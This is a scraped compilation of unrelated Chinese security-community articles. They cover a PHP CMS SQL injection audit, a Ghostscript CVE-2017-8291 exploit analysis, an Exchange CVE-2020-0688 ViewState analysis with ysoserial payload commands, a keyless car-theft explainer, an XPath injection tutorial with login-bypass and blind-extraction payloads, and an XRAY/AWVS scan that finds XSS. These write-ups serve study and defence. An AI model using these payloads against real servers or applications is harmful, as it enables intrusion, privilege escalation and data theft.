$value,如果没有大于等于，就会判断是否开启魔术方法了，没有就会和上面一样，通过addslashes函数在每个双引号"前添加反斜杠，然后再return
$value，说到这我只能说这代码写的真严谨。。。
好了，这里看完了，回到前面。
这里return的值就是层层过滤后的$value的值了，这里运行结束，然后我们再返回去看前面。
好了，一个frparam函数终于看完了，后面好多个都是通过这个frparam层层筛选的和前面一样，就不多说，我们再往下看。
（太长了，截两张）这里他对这个sqls参数进行了stripos函数判断，这个stripos函数是查找我们指定的字符在字符串中第一次出现的位置，如果有就会输出位置也就是不等于false，也就是为真了，代码里他通过多次或逻辑，只要有一个为真就会执行if里面的”非法操作“这个代码，所以我们只要绕过这些判断，也就是全为假，可以看到他对update，delete，insert，drop，truncate进行了对比，我们只要不适用这些函数就OK了。
看到我箭头画的就是执行顺序了，他直接就带入执行了，说明存在漏洞。
我们只要的插入sql语句的时候不要有上的敏感字符就可以了，payload我相信大家都会写，我就不废话了，就直接放sqlmap跑了。 | 社区文章 |
## 背景
最近看到的这个两年前的洞，仔细看了下觉得很有意思。有意思的地方在于这个类型混淆漏洞，虽然需要用到控制堆栈等手段，但是不需要去构造rop链，也不需要考虑alsr之类的麻烦问题，即使之前只学过web也能看得懂这个洞与利用方式。另外它最后的实现的效果是真实的rce，不是c++中溢出那种存在rce的风险但是又有一堆问题需要解决。
## 参考
分析文章参考
<https://paper.seebug.org/310/>
poc参考
<https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2017-8291/msf.eps>
利用场景参考
<http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/>
光靠seebug的分析文章还不够，显然有些地方作者明白但是没有写出来，建议先稍微了解一下postscript语法，之后对着poc，用gdb调试来加深理解。poc总共不到100行，理解了poc基本上也就理解这个漏洞的原理与利用方式了。
## postscript和ghostscript
poc脚本语法是postscript（ps）+
ghostscript（gs）指令，ps主要通过操作数栈（os）来进行操作，用栈的思想来理解所有操作指令就很简单了。栈顶记作osp，栈底记作osbot。
ps基本语法：
操作数1 ... 操作数n 指令
gs是一个ps的解释器，gs解释ps指令时，从左到右操作数依次入栈，遇到指令从栈上取相应数量的操作数，poc涉及到的指令包括
def、sub、exch、get、put、for、aload等，具体用法参考ps语法。
## poc分析
按照poc执行顺序解释，忽略注释。
变量定义，从名字可以看出是和大小大小有关系，并且from、step、to很明显是for循环控制的3个参数，enlarge是后面用来扩充os大小的单元数。
ps：分析完整个脚本后再回过头看这个定义也觉得很有意思，为什么选500、10000、65000、1000这几个数呢，可以思考一下。
for循环执行111次，
定义buffercount = 111
定义buffersizes[111]
定义buffersizes[0] = 10000, buffersizes[1] = 10500 ... buffersizes[110] = 65000
定义buffers[111]
定义buffers[0]=string:10000, buffers[1]=string:10500 ...
buffers[110]=string:65000，且每个字符串最后16位为全f。
这里稍微麻烦一点，涉及到漏洞利用的几个关键点。从loop循环整体来看，`loop`循环之前有3条指令，`loop`循环里套了`repeat`循环、两个`if`分支，按前后顺序记作if1和if2。
根据之前的分析，单纯看`loop`循环，结束条件是进入if2分支。进入if2分支的条件是buffersearchvars[2]的值为1，buffersearchvars[2]的值只在if1分支中改变，所以需要进入if1分支。进入if1分支的条件是254
le表达式为真，表达式之前的操作取的是buffers[i][-16]，根据之前的分析buffers[i][-16]是0xff，显然不可能进入这个条件分支，但无论经过调试还是运行确定这不是个无限循环，问题在哪呢。
首先第一个关键点是`aload`，enlarge根据之前的定义是1000，这里一下子入栈了1001个单位，貌似这样超出了此时os大小的限制，所以系统gs重新给os分配内存，分配到哪去了呢，通过下图一目了然。
buffers中有111个字符串，从索引0开始计数，在我本地调试时，新的os始终是在第8个string到第9个string之间，通过gdb调试也能看到，下图是111个字符串从buffer[0]开始的部分截图，此外还可以看到此时的os和111个字符串存储区是不重合的，虽然位置很接近（0x1e5b048和0x1e8f9f4）。
当执行完aload后再看os的位置，已经跑到字符串存储区中了。
第2个关键点也是修复的地方，`.eqproc`。这个可能是gs的命令，我没有找到它的文档说明。作用是从os上取两个操作数比较，结果布尔值存入os，即取2存1。这也没啥问题，`add`、`sub`指令也是这么干的。它和其他取2存1的指令不同的地方在于当os上操作数不够，比如os中只有1个操作数，它不做边界检查，仍然取2存1，这就是溢出了。
结合以上两点，可以想象，只要循环执行`.eqproc`，必然会重写111个字符串中的1个字符串的最后16字节（为什么，思考一下），这就是`loop`循环能停下的原因，整个过程简单用下图表示（不考虑指针指向的地址了，自己脑补）
检测到溢出发生后，记录下溢出位置，也就是buffersearchvars数组的作用。
这段代码起初我不太理解。首先3次.eqproc和最后的put很明显是为了去满足某种格式要求在做堆栈平衡，直到我简单画了图模拟了栈上变换就清楚了。
至于之后的
16#7e put
16#12 put
16#ff put
则是通过currentdevice与osp此时重合的特点，利用string操作osp指向的currentdevice。这一段是在修改currentdevice的类型信息，也就是为什么这个漏洞是由于类型混淆引起的。
上面是我观察栈中数据的gdb截图，每一行16个字节是一个栈对象。第2行表示的是1个字符串，低8位字节（左边）表示类型信息，高8位表示字符串内容存储的起始地址。低8位字节中，低2位0x127e表示类型是字符串，0xf710没有意义，1f表示大小。所以currentdevice后面的三条指令，通过字符串来操作osp指向的数据，把它从currentdevice本来的类型改成了字符串类型，大小255。而最后的put又把这些数据清出os，把改变后的currentdevice存储到sdevcie[0]中。
之后重新执行aload，但是回到的是loop循环开始前下面3-1=2个单元的位置，为什么要这样据说是因为避免gc是崩溃，很有道理，但是为啥不直接回到原位置，这点我也不理解。
由于之前把sdevcie[0]即currentdevice改成了字符串类型，所以这里可以用put来改变它的内容，此处分别把偏移0x3e8、0x3b0、0x3f0置0，偏移是相对os上高8位那个内容指向的地址而言，即分析文章中说的把LockSafetyParams安全属性从true变成false。这里还有个问题没搞清楚，属性只有1个，但是这里改变了3处偏移。
最后的这段脚本代码就是在控制台上能看到的echo vulnerable，这一段很多带点的指令我都找不到文档说明，但是到这里基本上也就结束了。 | 社区文章 |
# CVE-2020-0688 Exchange 远程代码执行分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
关于如何利用该漏洞，ZDI的博客中已有介绍。但是关于这个漏洞的细节还未看到有更多的披露。本篇将补充分析该漏洞的细节。
## 01\. 漏洞简介
Microsoft Exchange Server是微软公司推出的一套商业电子邮件系统，因其稳定、易用、安全等特点在全球多个行业被广泛地应用。
由于Exchange Server在安装部署时未能创建应用唯一的加密密钥，导致Exchange Server在反序列化处理请求中的 __VIEWSTATE
数据触发远程代码执行。Exchange
是以SYSTEM权限启用的IIS，因此普通登录用户也可通过反序列化达到提权的目的，进而可以获取域管理的权限。漏洞基本信息
* 公告：<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>
* 作者： Anonymous working with Trend Micro’s Zero Day Initiative
* 环境： Windows Server 2016 Standard; Microsoft Exchange Server 2016 Cumulative Update 15;.NET Framework 4.0;
* 工具： dnSpy v6.1.3
* 补丁： 请参考公告中提供的补丁信息
注：本篇文章仅在上述条件下调试分析
## 02\. 漏洞分析
（1）消息认证码校验简述
在ASP.NET Web应用程序中通过 __VIEWSTATE 参数维持对象的ViewState视图状态。.NET Framework会对
__VIEWSTATE 参数进行加密和签名。如果启用了消息认证码(message authentication code)验证机制，则会获取相关的
machineKey
配置中的参数值去验证签名。具体机制可能会在之后的文章中补充1。其中相关的密钥一般存储在web.config或者machine.config配置文件中。
这里我们可以查看Exchange Server 2016中的配置文件进行说明，在 pages 标签中的 enableViewStateMac
属性值设置为true即启用了消息认证码验证机制。相应的配置信息则在 machineKey 标签中，其中包括验证密钥validationKey、解密密钥
decryptionKey 以及加解密算法。
<?xml version="1.0"?>
<configuration>
[...]
<pages theme="default" validateRequest="true" enableEventValidation="false" enableSessionState="false" enableViewState="false" enableViewStateMac="true" autoEventWireup="false">
<controls>
<add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<add tagPrefix="ajaxToolkit" namespace="AjaxControlToolkit" assembly="AjaxControlToolkit" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.WebControls" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.Reporting" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="asp" namespace="System.Web.UI.WebControls" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
<add tagPrefix="CsmSdk" namespace="Microsoft.Office.CsmSdk.Controls" assembly="Microsoft.Office.CsmSdk" />
</controls>
</pages>
[...]
<system.web>
<machineKey validationKey="" decryptionKey="" validation="SHA1" decryption="3DES" />
</system.web>
[...]
</configuration>
（2）ViewState 反序列化过程
一般情况ASPX文件在.NET
Framework下运行会生成临时的文件，以default.aspx文件为例，会生成如下图的dll，通过dnSpy反编译如下图所示。当前
default_aspx 类通过多重继承，最终继承 System.Web.dll 中 System.Web.UI 命名空间下的Page类。
在处理请求的时候会调用System.Web.dll!System.Web.UI.Page.ProcessRequestMain 方法.
//Code snippet 0
private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
{
[...]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
}
this.LoadAllState();//[0]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
}
[...]
}
在 ProcessRequestMain 方法的[0]处调用 LoadAllState 方法载入请求中的各种状态。
//Code snippet 1
private void LoadAllState()
{
object obj = this.LoadPageStateFromPersistenceMedium();//[1]
[...]
}
紧接着调用 LoadPageStateFromPersistenceMedium 方法[1]中的load 方法[2]。
//Code snippet 2
protected internal virtual object LoadPageStateFromPersistenceMedium()
{
PageStatePersister pageStatePersister = this.PageStatePersister;//[3]
try
{
pageStatePersister.Load();//[2]
}
catch (HttpException ex)
{
if (this._pageFlags[8])
{
return null;
}
if (this.ShouldSuppressMacValidationException(ex))//[5]
{
if (this.Context != null && this.Context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "Ignoring page state", ex);
}
this.ViewStateMacValidationErrorWasSuppressed = true;
return null;
}
ex.WebEventCode = 3002;
throw;
}
return new Pair(pageStatePersister.ControlState, pageStatePersister.ViewState);
}
调用load方法的对象是PageStatePersister 抽象类[3]，HiddenFieldPageStatePersister
实现了该抽象类。最终的反序列化在[4]处触发。
//Code snippet 3
public class HiddenFieldPageStatePersister : PageStatePersister
{
public HiddenFieldPageStatePersister(Page page) : base(page)
{
}
public override void Load()
{
if (base.Page.RequestValueCollection == null)
{
return;
}
string text = null;
try
{
text = base.Page.RequestViewStateString;
if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
{
Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);//[4]
base.ViewState = pair.First;
base.ControlState = pair.Second;
}
}
catch (Exception ex)
{
if (ex.InnerException is ViewStateException)
{
throw;
}
ViewStateException.ThrowViewStateError(ex, text);
}
}
（3）非必要的__VIEWSTATEGENERATOR参数在我进行审计代码的时发现，触发反序列化漏洞时并不需要__VIEWSTATEGENERATOR
参数。具体验证该参数的代码实现请大家参看代码片段2的[5]处。事实上，在代码片段3中触发反序列化之后会抛出异常，最后并没有执行到[6]处。
internal bool ShouldSuppressMacValidationException(Exception e)
{
if (!EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks)
{
return false;
}
if (ViewStateException.IsMacValidationException(e))
{
if (EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsAlways)
{
return true;
}
if (!string.IsNullOrEmpty(this.ViewStateUserKey))
{
return false;
}
if (this._requestValueCollection == null)
{
return true;
}
if (!this.VerifyClientStateIdentifier(this._requestValueCollection["__VIEWSTATEGENERATOR"]))//[6]
{
return true;
}
}
return false;
}
（4）利用方式
* 通过__VIEWSTATEGENERATOR 的值(generator)生成payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
* 通过应用路径(apppath)和文件路径(path)生成payload
并不是所有的aspx页面都会在response包中返回 __VIEWSTATEGENERATOR
的值，一般情况，Exchange的应用路径(apppath)和文件路径(path)是相对固定的。当然已知这两个路径以及配置信息是可以推算出generator的值2。结合web.config
配置文件中的信息和ViewState 反序列过程中的分析，针对该漏洞ecp目录下可访问的aspx文件均可达到RCE的效果。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --path="" --apppath="" --viewstateuserkey="" --isdebug -islegacy
## 03\. 参考引用
* <https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>
* <https://github.com/pwntester/ysoserial.net> | 社区文章 |
# 网络犯罪分子如何在没有车钥匙的情况下入侵你的汽车
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blogs.mcafee.com/consumer/keyless-entry-car-hacks/>
译文仅供参考，具体内容表达以及含义原文为准。
我们所要讨论的东西听起来可能会让你觉得有点像《克里斯汀魅力》一样的荒谬。《克里斯汀魅力》是Stephen King和John
Carpenter导演的一部电影，这部电影拍摄于1983年，这部电影讲述的就是一台汽车的故事。剧中的主人公购买了一辆产于1958年普利茅斯的红色敞篷车，这台车就是克里斯汀”。随着时间的推移，主人公阿尼疯狂地爱上了这台车，但是他却开始逐步的疏远他的朋友以及现实社会，不理会周边朋友的劝告。他的女朋友和最好的朋友发现“克里斯汀”以前的主人是一个不在乎任何事情的人，而现在阿尼也开始变得像他一样。他们唯一能拯救他的办法就是毁掉“克里斯汀”，但是阿尼和克里斯汀已经准备先毁掉他的朋友们以及那些所有阻拦在他和“克里斯汀”之间的人。这是一部科幻恐怖片，但幸运的是，这只是一部电影。但是当我们回到现实生活中之后，我们看到得更多的就是：在没有车钥匙的情况下入侵他人的汽车。
现在，越来越多的网络犯罪分子喜欢使用嵌入式技术来对他人的汽车进行非法控制。比如说，网络犯罪分子可以在没有汽车钥匙的情况下，打开汽车的门，并从中窃取物品。利用同样的方法，网络犯罪分子们还可以窃取那些配备了无钥匙启动系统的汽车。这些系统在设计之初，是为了方便用户对汽车进行远程操作控制而设计的，而且现在越来越多的汽车配备了这种系统，因为这类系统可以方便人们的日常使用。这一技术也成为了各大汽车制造商们的宣传噱头，并以此来帮助他们更好地开拓汽车的销售市场。
实际上，根据Kelly蓝皮书（一家位于美国的专业汽车评价公司）提供的相关数据显示，大约有[百分之六十二的受访者](http://fortune.com/2016/03/02/public-car-hacking/)担心将来他们的汽车有可能会受到黑客的攻击。不幸的是，似乎这一天比我们想象的要来的早。
比如说，[CNBC曾经报道过一个事件](http://www.cnbc.com/2016/03/08/hacking-a-connected-car-is-this-easy.html)。Yash是旧金山市的一名技术工人，他曾购买了一辆配备了无钥匙启动系统的汽车。而一个精明的黑客利用了这个系统来获取到了Yash汽车的控制权，并且成功地在没有对车辆造成明显损害的情况下将这辆车偷走了。
那么，这些黑客到底是如何做到这些的呢？没错，他们使用的攻击方法肯定不只有一种。
在第一类攻击场景中，Yash的汽车成为了放大攻击的受害者。攻击者利用了一个廉价的功率放大器，然后再对汽车遥控器的远程控制信号进行放大处理。在第二类攻击场景中，攻击者需要在汽车附近放置一个信号拦截设备，并且截获汽车车门的开启代码。这种方式其实与之前黑客在对婴儿监视器以及监控摄像头进行攻击的过程中所使用的技术类似，我们对此类攻击技术也非常熟悉了。
配备了联网系统的汽车就截然不同了。在2015年夏天，WIRED有线新闻网的记者Andy
Greenberg当时正驾驶着一辆[联网的Jeep汽车](https://blogs.mcafee.com/consumer/jeep-hacking-successful/?_ga=1.156628031.56329763.1458095189)行驶在密苏里州的一条拥堵的高速公路上。此后，Greenberg便撰写了一篇关于两名专业安全研究人员对汽车进行[无线攻击](http://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/)的文章。在他的驾驶过程中，这两名安全研究人员对Greenberg汽车的空调，收音机，雨刮器，挡风玻璃的雨刮液等系统进行了远程攻击，并且成功地切断了汽车与这些设备控制系统的连接。值得注意的是，这一切都发生在一台行驶在高速公路上的汽车身上。
幸运的是，在此测试过程中并没有造成人员的伤亡。而这个故事足以为我们敲响警钟了。当用户驾驶的是一辆能够联网的汽车时，我们所发现的这种攻击方法将会给用户带来非常严重的后果，这也是目前各大汽车制造商[亟待解决的问题](https://blogs.mcafee.com/consumer/securing-the-cars-of-the-future/?_ga=1.75494422.56329763.1458095189)。
**那么，我们到底如何才能保护我们的汽车以及车上的贵重物品不受高科技犯罪分子的威胁呢？下面我们给大家提供了一些小技巧，请大家一定要记住：**
l
当你在做选择时一定要考虑清楚，最新的往往未必是最好的。如果你对如今最新款的汽车或者技术并不感兴趣的话，我们建议你选择一辆老款的汽车。不仅是因为老款的汽车安全性较高，而且对于你来说也是一个省钱的方式。
l
如果你的汽车配备了高科技系统，那么请你一定要及时对车载系统进行更新。每一款硬件设备都会配备有相应的控制软件，汽车也不例外。当系统接受到软件更新提示之后，请及时进行更新，这不仅能提升你的驾驶体验度，而且也可以最大程度地保护汽车系统的安全。请记住，有的汽车制造商会通过无线网络来推送系统更新，但是有的却要求用户将汽车开到经销商处进行更新和升级。
l
请对相关新闻保持关注。针对汽车的网络攻击相对而言是比较罕见的，如果相关事件发生之后，那么第二天的新闻报纸头条肯定会报道这些事件。如果你看到了相关的新闻，请及时与您的汽车制造商联系，以了解相关系统的更新情况以及事后处理的细节。
当然了，如果大家对最新的移动技术和移动安全感兴趣的话，请[关注](http://www.twitter.com/garyjdavis)我们的推特账户[@IntelSec_Home](http://www.twitter.com/intelsec_home)，别忘了在我们的[Facebook](http://www.facebook.com/intelsecurity)上点赞噢！ | 社区文章 |
## 0x00、前言
转眼这学期上完就要找实习了，在网上找了一些面经来看，看到有问到xpath注入的情况。发现对自己xpath注入的了解仅局限于做了墨者学院的xpath注入靶场的常规注入，对xpath注入的权限绕过和盲注并不了解，以下为这次学习的笔记
## 0x01、XPATH：
[xpath入门](https://www.w3school.com.cn/xpath/index.asp)
XPath即为XML路径语言，它是一种用来确定XML（标准通用标记语言的子集）文档中某部分位置的语言。XPath基于XML的树状结构，有不同类型的节点，包括元素节点，属性节点和文本节点，提供在数据结构树中找寻节点的能力
## 0x02、XPATH注入原理：
XPath 注入利用 XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码，以获得高权限信息的访问权。
XPath注入类似于SQL注入，当网站使用未经正确处理的用户输入查询 XML 数据时，可能发生 XPATH
注入，由于Xpath中数据不像SQL中有权限的概念，用户可通过提交恶意XPATH代码获取到完整xml文档数据
## 0x03、Xpath和Xquery语法：
* “nodename” – 选取nodename的所有子节点
* “/nodename” – 从根节点中选择
* “//nodename” – 从当前节点选择
* “..” – 选择当前节点的父节点
* “child::node()” – 选择当前节点的所有子节点
* "@" -选择属性
* "//user[position()=2] " 选择节点位置
## 0x04、XPATH注入之常规注入
这里我对[hctf2015 的injection](https://github.com/vidar-team/hctf2015-all-problems/tree/master/injection)源码稍微改动（去掉对and 和 or等字符的过滤）：
index.php:
<?php
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.": " . $x_value;
echo "<br />";
}
}
?>
t3stt3st.xml:
<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>
正常查询： <http://127.0.0.1/xpath/index.php?user=user1>
**Xpath注入漏洞验证：**
加一个 ' ;有下列报错，则可以确定Xpath注入的存在性
构造Xpath注入语句：
user1' or 1=1 or ''='
此时的查询语句为
$query="user/username[@name='user1' or 1=1 or ''='']";
##1=1为真 ''='' 为真，使用or连接，则可以匹配当前节点下的所有user
结果：
使用' or 1=1 or ''='
只能获取当前节点下的数据，flag不在当前节点中。而这里既然为ctf题目，肯定是需要获取flag的，这里xpath有一个类似于sqli的'or
'1'='1的paylaod
']|//*|//*['
该paylaod用于访问xml文档的所有节点
## 0x05、Xpath注入之登录绕过
login.php:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username：
<input type="text" name="username">
</p>
password：
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email>[email protected]</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>[email protected]</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>
这里，test为普通账户，Twe1ve为管理账户（不设置为admin，为了更直观地看出权限时用户名已知和未知的区别，也是模拟用户名不为admin的情况）
test用户使用正确的账户名密码正常登录：
用户名：test' or 'a'='a 密码随意
这意味着知道任意用户名即可以该用户身份登录，在已知用户账户名的情况下实现任意用户登录。假若管理员用户未知，如我这里设置的比较奇葩的管理用户名，还可以实现以管理员身份登录吗？我们知道一般数据库中默认第一个用户为管理用户。所以这里类似SQLi
的万能密码，使用如下paylaod实现在管理账户未知的情况下管理员登录：
x' or 1=1 or ''='
结果：
## 0x06、Xpath盲注
xpath盲注适用于攻击者不清楚XML文档的架构，没有错误信息返回，一次只能通过布尔化查询来获取部分信息，同样以0x05中的源码为例
**Xpath盲注步骤：**
* 判断根节点下的节点数
* 判断根节点下节点长度&名称
* .....
* 重复猜解完所有节点，获取最后的值
从根节点开始判断：
'or count(/)=1 or ''=' ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点
判断根节点下的节点长度为8：
'or string-length(name(/*[1]))=8 or ''='
猜解根节点下的节点名称：
'or substring(name(/*[1]), 1, 1)='a' or ''='
'or substring(name(/*[1]), 2, 1)='c' or ''='
..
'or substring(name(/*[1]), 8, 1)='s' or ''='
猜解出该节点名称为accounts
'or count(/accounts)=1 or ''=' /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''=' /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4
猜解accounts下的节点名称：
'or substring(name(/accounts/*[1]), 1, 1)='u' or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r' or ''='
accounts下子节点名称为user
'or count(/accounts/user)=2 or ''=' user节点有两个，则可以猜测出accounts节点结构，accounts下两个节点，均为user节点
第一个user节点的子节点长度为8：
'or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ''='
读取user节点的下子节点
'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u' or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s' or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e' or ''='
最终所有子节点值验证如下：
'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username' or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email' or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype' or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password' or ''='
继续猜解：
'or count(/accounts/user[position()=1]/username/*)>0 or ''='
'or count(/accounts/user[position()=1]/email/*)>0 or ''='
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='
均为 false，不再有子节点，则可以尝试读取这些节点的值
第一个user下的username值长度为6:
'or string-length((//user[position()=1]/username[position()=1]))=6 or ''='
读取第一个user下usernaem的值
'or substring((//user[position()=1]/username[position()=1]),1,1)='T' or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e' or ''='
可依次读取所有的子节点的值，第二user节点的子节点值读取方式：
'or string-length((//user[position()=2]/username[position()=1]))=4 or ''=' 第一个user下的username长度为4
......
重复上边步骤即可
链接：
<https://owasp.org/www-community/attacks/Blind_XPath_Injection>
<https://k-ring.github.io/2019/08/01/xpath%E6%B3%A8%E5%85%A5/>
<https://www.scip.ch/en/?labs.20180802>
<https://www.moonsec.com/archives/374> | 社区文章 |
## 0x01 写在前面
前几天白嫖了 XRAY 的高级版,因此试着利用XRAY+AWVS 的形式来看看能不能找到 CNVD 上公布存在问题 CMS 的漏洞。
我们都知道cnvd 发布漏洞公告的时候是没有详细细节的，因此只能根据漏洞的种类自己去寻找漏洞点，如果 cnvd
公告里有存在漏洞文件的名称，相对于简单一点，但是没有的话，就相当于从头自己去审计整套系统，于是就找到了一个小型 CMS 当做演示：
本文以 cms 的漏洞挖掘为基础，然后说说自己使用的感受。
## 0x02 准备工作
XRAY+AWVS 如何配置的，我就不在这里详细阐述了，官网上已经写得很清楚了，有兴趣可以看：
<https://chaitin.github.io/xray/#/scenario/awvs>
需要注意两个点：
* 要保证 xray 代理地址和 awvs 主机地址能够通信
* 要保证 XRAY 配置文件中的允许扫描域为`*`或者你要扫描的地址（之前就是因为自己测试上一个地址忘了修改导致一直没有数据，所以这里强调一下）
然后就可以下载 CMS 进行搭建了，搭建过程也比较简单，因此不在赘述，下载地址可见：
<https://github.com/chilin89117/ED01-CMS>
安装好后就可以添加扫描了。
第一步是首先在本地运行起 xray，命令如下：
./xray webscan --listen 0.0.0.0:1111 --html-output awvs.html
这里的端口可以自己设定，比如我设定的就是 8888：
然后添加已经搭建好的 CMS 的地址：
因为是测试环境，所以我们可以开启登陆选项：
说不定挖掘的东西更多
其他配置就和 XRAY 官方介绍的一样，代理模板的端口要和你 xray 监听的端口一致：
点击爬虫模式扫描，创建后，就可以正式扫描目标地址了：
如下图，xray 很快就接受到地址，并开始检测：
最终扫描结果如下：
# | Plugin / VulnType | Target | CreateTime
---|---|---|---
#1 | xss | <http://192.168.52.1/testcms/aposts.php> | 2019-12-22 17:51:05
#2 | xss | <http://192.168.52.1/testcms/registration.php> | 2019-12-22
17:51:08
#3 | xss | <http://192.168.52.1/testcms/cposts.php> | 2019-12-22 17:51:23
#4 | xss | <http://192.168.52.1/testcms/post.php> | 2019-12-22 17:51:38
#5 | xss | <http://192.168.52.1/testcms/admin/users.php> | 2019-12-22 17:51:59
#6 | xss | [
http://192.168.52.1/testcms/admin/posts.php](http://192.168.52.1/testcms/admin/posts.php)
| 2019-12-22 17:56:19
#7 | sqldet | <http://192.168.52.1/testcms/cposts.php> | 2019-12-22 17:51:28
#8 | sqldet | <http://192.168.52.1/testcms/post.php> | 2019-12-22 17:51:40
#9 | sqldet | <http://192.168.52.1/testcms/admin/users.php> | 2019-12-22
17:51:59
#10 | sqldet | [
http://192.168.52.1/testcms/admin/posts.php](http://192.168.52.1/testcms/admin/posts.php)
| 2019-12-22 17:56:09
#11 | struts / s2-007 | <http://192.168.52.1/testcms/admin/users.php> |
2019-12-22 17:55:32
以上是我简化的结果，有的文件中可能存两个或者两个以上的ParamKey存在漏洞但只保留一个。
由于同一个文件存在不同的漏洞，因此我们选择以文件分类来分析漏洞。
## 0x03 漏洞挖掘
### 1、aposts.php 文件
根据 XRAY 提供的信息：
u 参数存在问题，找到`aposts.php`，关键代码如下：
if(isset($_GET['u'])) {
$uname = mysqli_real_escape_string($con, $_GET['u']);
....
if(!$posts) {
$div_class = 'danger';
$div_msg = 'Database error: ' . mysqli_error($con);
} else {
$post_count = mysqli_num_rows($posts);
if($post_count == 0) {
$page_count = 0;
$div_class = 'danger';
$div_msg = "Sorry, no posts found for user <strong>'$uname'</strong>.";
} else {
$page_count = ceil($post_count / 8);
$div_class = 'success';
$div_msg = " Showing published posts for user <strong>'$uname'</strong>.";
$div_msg .= " <a href='index.php'>Show All</a>";
}
}
}
GET 取得 u 参数后，通过`mysqli_real_escape_string`函数赋值给 uname，然后判断 posts
参数，如果没有找到结果，输出 uname
我们知道`mysqli_real_escape_string`函数主要是转义在 SQL 语句中字符串中的特殊字符，并非是 XSS
的过滤函数，因此运用最基本的语句：`<script>alert(0)</script>`，即可触发 XSS 漏洞：
### 2、registration.php文件
根据 XRAY 提供的信息：
username 参数存在问题，找到`registration.php`文件，关键代码如下：
if(isset($_POST['submit'])) {
// clean up inputs
$username = mysqli_real_escape_string($con, $_POST['username']);
...
<div class="form-group">
<label for="username" class="sr-only">Choose a Username</label>
<input type="text" name="username" class="form-control"
